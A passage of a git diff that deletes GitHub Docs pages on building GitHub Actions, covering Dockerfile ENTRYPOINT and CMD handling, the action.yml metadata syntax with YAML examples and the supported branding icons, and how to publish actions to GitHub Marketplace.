container that uses the _exec_ form in the `ENTRYPOINT`, we recommend creating a shell script called `entrypoint.sh` that you call from the `ENTRYPOINT` instruction: - -#### Example _Dockerfile_ - -```dockerfile -# Container image that runs your code -FROM debian:9.5-slim - -# Copies your code file from your action repository to the filesystem path `/` of the container -COPY entrypoint.sh /entrypoint.sh - -# Executes `entrypoint.sh` when the Docker container starts up -ENTRYPOINT ["/entrypoint.sh"] -``` - -#### Example _entrypoint.sh_ file - -Using the example Dockerfile above, {% data variables.product.github %} will send the `args` configured in the action's metadata file as arguments to `entrypoint.sh`. Add the `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) at the top of the `entrypoint.sh` file to explicitly use the system's [POSIX](https://en.wikipedia.org/wiki/POSIX)-compliant shell. - -```shell -#!/bin/sh - -# `$#` expands to the number of arguments and `$@` expands to the supplied `args` -printf '%d args:' "$#" -printf " '%s'" "$@" -printf '\n' -``` - -Your code must be executable. Make sure the `entrypoint.sh` file has `execute` permissions before using it in a workflow. You can modify the permission from your terminal using this command: - -```shell -chmod +x entrypoint.sh -``` - -When an `ENTRYPOINT` shell script is not executable, you'll receive an error similar to this: - -```shell -Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown -``` - -### CMD - -If you define `args` in the action's metadata file, `args` will override the `CMD` instruction specified in the `Dockerfile`. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs). - -If you use `CMD` in your `Dockerfile`, follow these guidelines: - -{% data reusables.actions.dockerfile-guidelines %} - -## Supported Linux capabilities - -{% data variables.product.prodname_actions %} supports the default Linux capabilities that Docker supports. Capabilities can't be added or removed. For more information about the default Linux capabilities that Docker supports, see [Linux kernel capabilities](https://docs.docker.com/engine/security/#linux-kernel-capabilities) in the Docker documentation. To learn more about Linux capabilities, see [Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html) in the Linux man-pages. diff --git a/content/actions/sharing-automations/creating-actions/index.md b/content/actions/sharing-automations/creating-actions/index.md deleted file mode 100644 index 05297f12d34b..000000000000 --- a/content/actions/sharing-automations/creating-actions/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Creating actions -shortTitle: Create actions -intro: 'You can create your own actions, use and customize actions shared by the {% data variables.product.prodname_dotcom %} community, or write and share the actions you build.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-custom-actions - - /creating-a-docker-container-action - - /creating-a-javascript-action - - /creating-a-composite-action - - /metadata-syntax-for-github-actions - - /dockerfile-support-for-github-actions - - /setting-exit-codes-for-actions - - /releasing-and-maintaining-actions - - /publishing-actions-in-github-marketplace - - /developing-a-third-party-cli-action ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/sharing-automations/creating-actions/metadata-syntax-for-github-actions.md b/content/actions/sharing-automations/creating-actions/metadata-syntax-for-github-actions.md deleted file mode 100644 index 8f9ba20e250f..000000000000 --- a/content/actions/sharing-automations/creating-actions/metadata-syntax-for-github-actions.md +++ /dev/null @@ -1,781 +0,0 @@ ---- -title: Metadata syntax for GitHub Actions -shortTitle: Metadata syntax -intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax. -redirect_from: - - /articles/metadata-syntax-for-github-actions - - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions - - /actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions - - /actions/building-actions/metadata-syntax-for-github-actions - - /actions/creating-actions/metadata-syntax-for-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About YAML syntax for {% data variables.product.prodname_actions %} - -All actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The preferred format is `action.yml`. The data in the metadata file defines the inputs, outputs, and runs configuration for your action. - -Action metadata files use YAML syntax. If you're new to YAML, you can read [Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes). - -## `name` - -**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job. - -## `author` - -**Optional** The name of the action's author. - -## `description` - -**Required** A short description of the action. - -## `inputs` - -**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. We recommend using lowercase input ids. - -### Example: Specifying inputs - -This example configures two inputs: `num-octocats` and `octocat-eye-color`. The `num-octocats` input is not required and will default to a value of `1`. `octocat-eye-color` is required and has no default value. - -> [!NOTE] -> Actions using `required: true` will not automatically return an error if the input is not specified. - -Workflow files that use this action can use the `with` keyword to set an input value for `octocat-eye-color`. For more information about the `with` syntax, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepswith). - -```yaml -inputs: - num-octocats: - description: 'Number of Octocats' - required: false - default: '1' - octocat-eye-color: - description: 'Eye color of the Octocats' - required: true -``` - -When you specify an input, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters. - -If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. With composite actions you can use `inputs` [AUTOTITLE](/actions/learn-github-actions/contexts) to access action inputs. - -To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action#creating-an-action-metadata-file). - -For example, if a workflow defined the `num-octocats` and `octocat-eye-color` inputs, the action code could read the values of the inputs using the `INPUT_NUM-OCTOCATS` and `INPUT_OCTOCAT-EYE-COLOR` environment variables. - -### `inputs.<input_id>` - -**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. - -### `inputs.<input_id>.description` - -**Required** A `string` description of the input parameter. - -### `inputs.<input_id>.required` - -**Optional** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required. - -### `inputs.<input_id>.default` - -**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file. - -### `inputs.<input_id>.deprecationMessage` - -**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is {% data variables.release-phases.closing_down %} and mention any alternatives. - -## `outputs` for Docker container and JavaScript actions - -**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input. - -{% data reusables.actions.output-limitations %} - -If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-output-parameter). - -### Example: Declaring outputs for Docker container and JavaScript actions - -```yaml -outputs: - sum: # id of the output - description: 'The sum of the inputs' -``` - -### `outputs.<output_id>` - -**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. - -### `outputs.<output_id>.description` - -**Required** A `string` description of the output parameter. - -## `outputs` for composite actions - -**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see [`outputs` for Docker container and JavaScript actions](#outputs-for-docker-container-and-javascript-actions)), but also includes the `value` token. - -{% data reusables.actions.output-limitations %} - -### Example: Declaring outputs for composite actions - -{% raw %} - -```yaml -outputs: - random-number: - description: "Random number" - value: ${{ steps.random-number-generator.outputs.random-id }} -runs: - using: "composite" - steps: - - id: random-number-generator - run: echo "random-id=$(echo $RANDOM)" >> $GITHUB_OUTPUT - shell: bash -``` - -{% endraw %} - -### `outputs.<output_id>.value` - -**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step. - -For more information on how to use context syntax, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -## `runs` - -**Required** Specifies whether this is a JavaScript action, a composite action, or a Docker container action and how the action is executed. - -## `runs` for JavaScript actions - -**Required** Configures the path to the action's code and the runtime used to execute the code. - -### Example: Using Node.js v20 - -```yaml -runs: - using: 'node20' - main: 'main.js' -``` - -### `runs.using` for JavaScript actions - -**Required** The runtime used to execute the code specified in [`main`](#runsmain). - -* Use `node20` for Node.js v20. - -### `runs.main` - -**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing-for-javascript-actions) executes this file. - -### `runs.pre` - -**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing-for-javascript-actions) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if). - -> [!NOTE] -> `runs.pre` is not supported for local actions. - -In this example, the `pre:` action runs a script called `setup.js`: - -```yaml -runs: - using: 'node20' - pre: 'setup.js' - main: 'index.js' - post: 'cleanup.js' -``` - -### `runs.pre-if` - -**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. In `pre-if`, status check functions evaluate against the job's status, not the action's own status. - -Note that the `step` context is unavailable, as no steps have run yet. - -In this example, `cleanup.js` only runs on Linux-based runners: - -```yaml - pre: 'cleanup.js' - pre-if: runner.os == 'linux' -``` - -### `runs.post` - -**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing-for-javascript-actions) syntax will execute this file. - -In this example, the `post:` action runs a script called `cleanup.js`: - -```yaml -runs: - using: 'node20' - main: 'index.js' - post: 'cleanup.js' -``` - -The `post:` action always runs by default but you can override this using `post-if`. - -### `runs.post-if` - -**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. In `post-if`, status check functions evaluate against the job's status, not the action's own status. - -For example, this `cleanup.js` will only run on Linux-based runners: - -```yaml - post: 'cleanup.js' - post-if: runner.os == 'linux' -``` - -## `runs` for composite actions - -**Required** Configures the path to the composite action. - -### `runs.using` for composite actions - -**Required** You must set this value to `'composite'`. - -### `runs.steps` - -**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps. - -#### `runs.steps[*].run` - -**Optional** The command you want to run. This can be inline or a script in your action repository: - -{% raw %} - -```yaml -runs: - using: "composite" - steps: - - run: ${{ github.action_path }}/test/script.sh - shell: bash -``` - -{% endraw %} - -Alternatively, you can use `$GITHUB_ACTION_PATH`: - -```yaml -runs: - using: "composite" - steps: - - run: $GITHUB_ACTION_PATH/script.sh - shell: bash -``` - -For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). - -#### `runs.steps[*].shell` - -**Optional** The shell where you want to run the command. You can use any of the shells listed in [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set. - -#### `runs.steps[*].if` - -**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional. - -{% data reusables.actions.expression-syntax-if %} For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -**Example: Using contexts** - -This step only runs when the event type is a `pull_request` and the event action is `unassigned`. - -```yaml -steps: - - run: echo This event is a pull request that had an assignee removed. - if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %} -``` - -**Example: Using status check functions** - -The `my backup step` only runs when the previous step of a composite action fails. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions#status-check-functions). - -```yaml -steps: - - name: My first step - uses: octo-org/action-name@main - - name: My backup step - if: {% raw %}${{ failure() }}{% endraw %} - uses: actions/heroku@1.0.0 -``` - -#### `runs.steps[*].name` - -**Optional** The name of the composite step. - -#### `runs.steps[*].id` - -**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -#### `runs.steps[*].env` - -**Optional** Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step. - -#### `runs.steps[*].working-directory` - -**Optional** Specifies the working directory where the command is run. - -#### `runs.steps[*].uses` - -**Optional** Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). - -We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. -* Using the commit SHA of a released action version is the safest for stability and security. -* Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work. -* Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. - -Some actions require inputs that you must set using the [`with`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. - -```yaml -runs: - using: "composite" - steps: - # Reference a specific commit - - uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3 - # Reference the major version of a release - - uses: {% data reusables.actions.action-checkout %} - # Reference a specific version - - uses: {% data reusables.actions.action-checkout %}.2.0 - # Reference a branch - - uses: actions/checkout@main - # References a subdirectory in a public GitHub repository at a specific branch, ref, or SHA - - uses: actions/aws/ec2@main - # References a local action - - uses: ./.github/actions/my-action - # References a docker public registry action - - uses: docker://gcr.io/cloud-builders/gradle - # Reference a docker image published on docker hub - - uses: docker://alpine:3.8 -``` - -#### `runs.steps[*].with` - -**Optional** A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. For more information, see [Example: Specifying inputs](#example-specifying-inputs). - -```yaml -runs: - using: "composite" - steps: - - name: My first step - uses: actions/hello_world@main - with: - first_name: Mona - middle_name: The - last_name: Octocat -``` - -#### `runs.steps[*].continue-on-error` - -**Optional** Prevents the action from failing when a step fails. Set to `true` to allow the action to pass when this step fails. - -## `runs` for Docker container actions - -**Required** Configures the image used for the Docker container action. - -### Example: Using a Dockerfile in your repository - -```yaml -runs: - using: 'docker' - image: 'Dockerfile' -``` - -### Example: Using public Docker registry container - -```yaml -runs: - using: 'docker' - image: 'docker://debian:stretch-slim' -``` - -### `runs.using` for Docker container actions - -**Required** You must set this value to `'docker'`. - -### `runs.pre-entrypoint` - -**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if). - -The runtime specified with the [`using`](#runsusing-for-docker-container-actions) syntax will execute this file. - -In this example, the `pre-entrypoint:` action runs a script called `setup.sh`: - -```yaml -runs: - using: 'docker' - image: 'Dockerfile' - args: - - 'bzz' - pre-entrypoint: 'setup.sh' - entrypoint: 'main.sh' -``` - -### `runs.image` - -**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file. - -### `runs.env` - -**Optional** Specifies a key/value map of environment variables to set in the container environment. - -### `runs.entrypoint` - -**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. - -For more information about how the `entrypoint` executes, see [AUTOTITLE](/actions/creating-actions/dockerfile-support-for-github-actions#entrypoint). - -### `runs.post-entrypoint` - -**Optional** Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`runs.post-if`](#runspost-if). - -```yaml -runs: - using: 'docker' - image: 'Dockerfile' - args: - - 'bzz' - entrypoint: 'main.sh' - post-entrypoint: 'cleanup.sh' -``` - -### `runs.args` - -**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. - -The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: - -{% data reusables.actions.dockerfile-guidelines %} - -If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell. - -For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/creating-actions/dockerfile-support-for-github-actions#cmd). - -#### Example: Defining arguments for the Docker container - -{% raw %} - -```yaml -runs: - using: 'docker' - image: 'Dockerfile' - args: - - ${{ inputs.greeting }} - - 'foo' - - 'bar' -``` - -{% endraw %} - -## `branding` - -**Optional** You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). - -### Example: Configuring branding for an action - -```yaml -branding: - icon: 'award' - color: 'green' -``` - -### `branding.color` - -The background color of the badge. Can be one of: `white`, `black`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`. - -### `branding.icon` - -The name of the v4.28.0 [Feather](https://feathericons.com/) icon to use. - -#### Omitted icons - -Brand icons, and all the following icons, are omitted. - -<ul style="-webkit-column-count: 4; -moz-column-count: 4; column-count: 4;"> -<li>coffee</li> -<li>columns</li> -<li>divide-circle</li> -<li>divide-square</li> -<li>divide</li> -<li>frown</li> -<li>hexagon</li> -<li>key</li> -<li>meh</li> -<li>mouse-pointer</li> -<li>smile</li> -<li>tool</li> -<li>x-octagon</li> -</ul> - -#### Exhaustive list of all currently supported icons - -<!-- - This list should match the icon list in `app/models/repository_actions/icons.rb` in the internal github repo. - To support a new icon, update `app/models/repository_actions/icons.rb` and add the svg to `/static/images/icons/feather` in the internal github repo. ---> - -<ul style="-webkit-column-count: 4; -moz-column-count: 4; column-count: 4;"> -<li>activity</li> -<li>airplay</li> -<li>alert-circle</li> -<li>alert-octagon</li> -<li>alert-triangle</li> -<li>align-center</li> -<li>align-justify</li> -<li>align-left</li> -<li>align-right</li> -<li>anchor</li> -<li>aperture</li> -<li>archive</li> -<li>arrow-down-circle</li> -<li>arrow-down-left</li> -<li>arrow-down-right</li> -<li>arrow-down</li> -<li>arrow-left-circle</li> -<li>arrow-left</li> -<li>arrow-right-circle</li> -<li>arrow-right</li> -<li>arrow-up-circle</li> -<li>arrow-up-left</li> -<li>arrow-up-right</li> -<li>arrow-up</li> -<li>at-sign</li> -<li>award</li> -<li>bar-chart-2</li> -<li>bar-chart</li> -<li>battery-charging</li> -<li>battery</li> -<li>bell-off</li> -<li>bell</li> -<li>bluetooth</li> -<li>bold</li> -<li>book-open</li> -<li>book</li> -<li>bookmark</li> -<li>box</li> -<li>briefcase</li> -<li>calendar</li> -<li>camera-off</li> -<li>camera</li> -<li>cast</li> -<li>check-circle</li> -<li>check-square</li> -<li>check</li> -<li>chevron-down</li> -<li>chevron-left</li> -<li>chevron-right</li> -<li>chevron-up</li> -<li>chevrons-down</li> -<li>chevrons-left</li> -<li>chevrons-right</li> -<li>chevrons-up</li> -<li>circle</li> -<li>clipboard</li> -<li>clock</li> -<li>cloud-drizzle</li> -<li>cloud-lightning</li> -<li>cloud-off</li> -<li>cloud-rain</li> -<li>cloud-snow</li> -<li>cloud</li> -<li>code</li> -<li>command</li> -<li>compass</li> -<li>copy</li> -<li>corner-down-left</li> -<li>corner-down-right</li> -<li>corner-left-down</li> -<li>corner-left-up</li> -<li>corner-right-down</li> -<li>corner-right-up</li> -<li>corner-up-left</li> -<li>corner-up-right</li> -<li>cpu</li> -<li>credit-card</li> -<li>crop</li> -<li>crosshair</li> -<li>database</li> -<li>delete</li> -<li>disc</li> -<li>dollar-sign</li> -<li>download-cloud</li> -<li>download</li> -<li>droplet</li> -<li>edit-2</li> -<li>edit-3</li> -<li>edit</li> -<li>external-link</li> -<li>eye-off</li> -<li>eye</li> -<li>fast-forward</li> -<li>feather</li> -<li>file-minus</li> -<li>file-plus</li> -<li>file-text</li> -<li>file</li> -<li>film</li> -<li>filter</li> -<li>flag</li> -<li>folder-minus</li> -<li>folder-plus</li> -<li>folder</li> -<li>gift</li> -<li>git-branch</li> -<li>git-commit</li> -<li>git-merge</li> -<li>git-pull-request</li> -<li>globe</li> -<li>grid</li> -<li>hard-drive</li> -<li>hash</li> -<li>headphones</li> -<li>heart</li> -<li>help-circle</li> -<li>home</li> -<li>image</li> -<li>inbox</li> -<li>info</li> -<li>italic</li> -<li>layers</li> -<li>layout</li> -<li>life-buoy</li> -<li>link-2</li> -<li>link</li> -<li>list</li> -<li>loader</li> -<li>lock</li> -<li>log-in</li> -<li>log-out</li> -<li>mail</li> -<li>map-pin</li> -<li>map</li> -<li>maximize-2</li> -<li>maximize</li> -<li>menu</li> -<li>message-circle</li> -<li>message-square</li> -<li>mic-off</li> -<li>mic</li> -<li>minimize-2</li> -<li>minimize</li> -<li>minus-circle</li> -<li>minus-square</li> -<li>minus</li> -<li>monitor</li> -<li>moon</li> -<li>more-horizontal</li> -<li>more-vertical</li> -<li>move</li> -<li>music</li> -<li>navigation-2</li> -<li>navigation</li> -<li>octagon</li> -<li>package</li> -<li>paperclip</li> -<li>pause-circle</li> -<li>pause</li> -<li>percent</li> -<li>phone-call</li> -<li>phone-forwarded</li> -<li>phone-incoming</li> -<li>phone-missed</li> -<li>phone-off</li> -<li>phone-outgoing</li> -<li>phone</li> -<li>pie-chart</li> -<li>play-circle</li> -<li>play</li> -<li>plus-circle</li> -<li>plus-square</li> -<li>plus</li> -<li>pocket</li> -<li>power</li> -<li>printer</li> -<li>radio</li> -<li>refresh-ccw</li> -<li>refresh-cw</li> -<li>repeat</li> -<li>rewind</li> -<li>rotate-ccw</li> -<li>rotate-cw</li> -<li>rss</li> -<li>save</li> -<li>scissors</li> -<li>search</li> -<li>send</li> -<li>server</li> -<li>settings</li> -<li>share-2</li> -<li>share</li> -<li>shield-off</li> -<li>shield</li> -<li>shopping-bag</li> -<li>shopping-cart</li> -<li>shuffle</li> -<li>sidebar</li> -<li>skip-back</li> -<li>skip-forward</li> -<li>slash</li> -<li>sliders</li> -<li>smartphone</li> -<li>speaker</li> -<li>square</li> -<li>star</li> -<li>stop-circle</li> -<li>sun</li> -<li>sunrise</li> -<li>sunset</li> -<li>table</li> -<li>tablet</li> -<li>tag</li> -<li>target</li> -<li>terminal</li> -<li>thermometer</li> -<li>thumbs-down</li> -<li>thumbs-up</li> -<li>toggle-left</li> -<li>toggle-right</li> -<li>trash-2</li> -<li>trash</li> -<li>trending-down</li> -<li>trending-up</li> -<li>triangle</li> -<li>truck</li> -<li>tv</li> -<li>type</li> -<li>umbrella</li> -<li>underline</li> -<li>unlock</li> -<li>upload-cloud</li> -<li>upload</li> -<li>user-check</li> -<li>user-minus</li> -<li>user-plus</li> -<li>user-x</li> -<li>user</li> -<li>users</li> -<li>video-off</li> -<li>video</li> -<li>voicemail</li> -<li>volume-1</li> -<li>volume-2</li> -<li>volume-x</li> -<li>volume</li> -<li>watch</li> -<li>wifi-off</li> -<li>wifi</li> -<li>wind</li> -<li>x-circle</li> -<li>x-square</li> -<li>x</li> -<li>zap-off</li> -<li>zap</li> -<li>zoom-in</li> -<li>zoom-out</li> -</ul> - -{% ifversion fpt or ghec %} - -## Changing the metadata file name - -While the actions metadata file supports both YAML formats, changing the metadata file name (from `action.yml` to `action.yaml` or vice versa) between releases will affect previous release versions that have been published to {% data variables.product.prodname_marketplace %}. Changing the file name will hide all release versions associated with the previous file name from {% data variables.product.prodname_marketplace %}. Previous release versions will still be accessible to users through the source repository. - -When releasing new versions of actions, only versions released after the metadata file name change will have the {% data variables.product.prodname_marketplace %} tag and will show up on {% data variables.product.prodname_marketplace %} -{% endif %} diff --git a/content/actions/sharing-automations/creating-actions/publishing-actions-in-github-marketplace.md b/content/actions/sharing-automations/creating-actions/publishing-actions-in-github-marketplace.md deleted file mode 100644 index c554a31a76bd..000000000000 --- a/content/actions/sharing-automations/creating-actions/publishing-actions-in-github-marketplace.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Publishing actions in GitHub Marketplace -intro: 'You can publish actions in {% data variables.product.prodname_marketplace %} and share actions you''ve created with the {% data variables.product.prodname_dotcom %} community.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace - - /actions/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace - - /actions/building-actions/publishing-actions-in-github-marketplace - - /actions/creating-actions/publishing-actions-in-github-marketplace -versions: - fpt: '*' - ghec: '*' -type: how_to -shortTitle: Publish in GitHub Marketplace ---- - -You must accept the terms of service to publish actions in {% data variables.product.prodname_marketplace %}. - -## About publishing actions - -Before you can publish an action, you'll need to create an action in your repository. For more information, see [AUTOTITLE](/actions/creating-actions). - -When you plan to publish your action to {% data variables.product.prodname_marketplace %}, you'll need to ensure that the repository only includes the metadata file, code, and files necessary for the action. Creating a single repository for the action allows you to tag, release, and package the code in a single unit. {% data variables.product.prodname_dotcom %} also uses the action's metadata on your {% data variables.product.prodname_marketplace %} page. - -Actions are published to {% data variables.product.prodname_marketplace %} immediately and aren't reviewed by {% data variables.product.prodname_dotcom %} as long as they meet these requirements: - -* The action must be in a public repository. -* Each repository must contain a single action metadata file (`action.yml` or `action.yaml`) at the root. - * Repositories may include other actions metadata files in sub-folders, but they will not be automatically listed in the marketplace. -* Each repository must _not_ contain any workflow files. -* The `name` in the action's metadata file must be unique. - * The `name` cannot match an existing action name published on {% data variables.product.prodname_marketplace %}. - * The `name` cannot match a user or organization on {% data variables.product.prodname_dotcom %}, unless the user or organization owner is publishing the action. For example, only the {% data variables.product.prodname_dotcom %} organization can publish an action named `github`. - * The `name` cannot match an existing {% data variables.product.prodname_marketplace %} category. - * {% data variables.product.prodname_dotcom %} reserves the names of {% data variables.product.prodname_dotcom %} features. - -## Publishing an action - -You can add the action you've created to {% data variables.product.prodname_marketplace %} by tagging it as a new release and publishing it. - -To draft a new release and publish the action to {% data variables.product.prodname_marketplace %}, follow these instructions: - -{% data reusables.repositories.navigate-to-repo %} - -1. Navigate to the action metadata file in your repository (`action.yml`), and you'll see a banner to publish the action to {% data variables.product.prodname_marketplace %}. Click **Draft a release**. -1. Under "Release Action", select **Publish this Action to the {% data variables.product.prodname_marketplace %}**. - - > [!NOTE] - > The "Publish" checkbox is disabled if the account that owns the repository has not yet accepted the {% data variables.product.prodname_marketplace %} Developer Agreement. If you own the repository or are an organization owner, click the link to "accept the GitHub Marketplace Developer Agreement", then accept the agreement. If there is no link, send the organization owner a link to this "Release Action" page and ask them to accept the agreement. - -1. If the labels in your metadata file contain any problems, you will see an error message or a warning message. Address them by updating your metadata file. Once complete, you will see an "Everything looks good!" message. -1. Select the **Primary Category** dropdown menu and click a category that will help people find your action in {% data variables.product.prodname_marketplace %}. -1. Optionally, select the **Another Category** dropdown menu and click a secondary category. -1. In the tag field, type a version for your action. This helps people know what changes or features the release includes. People will see the version in the action's dedicated {% data variables.product.prodname_marketplace %} page. -1. In the title field, type a release title. -1. Complete all other fields and click **Publish release**. Publishing requires you to use two-factor authentication. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Removing an action from {% data variables.product.prodname_marketplace %} - -To remove a published action from {% data variables.product.prodname_marketplace %}, you'll need to update each published release. Perform the following steps for each release of the action you've published to {% data variables.product.prodname_marketplace %}. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -{% data reusables.releases.edit-release %} -1. Select **Publish this action to the {% data variables.product.prodname_marketplace %}** to remove the check from the box. -1. Click **Update release** at the bottom of the page. - -## Transferring an action repository - -You can transfer an action repository to another user or organization. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/transferring-a-repository). - -When a repository admin transfers an action repository, {% data variables.product.prodname_dotcom %} automatically creates a redirect from the previous URL to the new URL, meaning workflows that use the affected action do not need to be updated. - -Actions published on {% data variables.product.prodname_marketplace %} are linked to a repository by their unique `name` identifier, meaning you can publish new releases of an action from the transferred repository under the same {% data variables.product.prodname_marketplace %} listing. If an action repository is deleted, the {% data variables.product.prodname_marketplace %} listing is also deleted, and the unique `name` identifier becomes available. - -> [!NOTE] -> The "Verified" badge seen on an organization's {% data variables.product.prodname_dotcom %} profile is different from the verified creator badge on {% data variables.product.prodname_marketplace %}. If you transfer an action repository, the {% data variables.product.prodname_marketplace %} listing will lose the verified creator badge unless the new owner is also a verified creator. - -## About badges in {% data variables.product.prodname_marketplace %} - -Actions with the {% octicon "verified" aria-label="The verified badge" %}, or verified creator badge, indicate that {% data variables.product.prodname_dotcom %} has 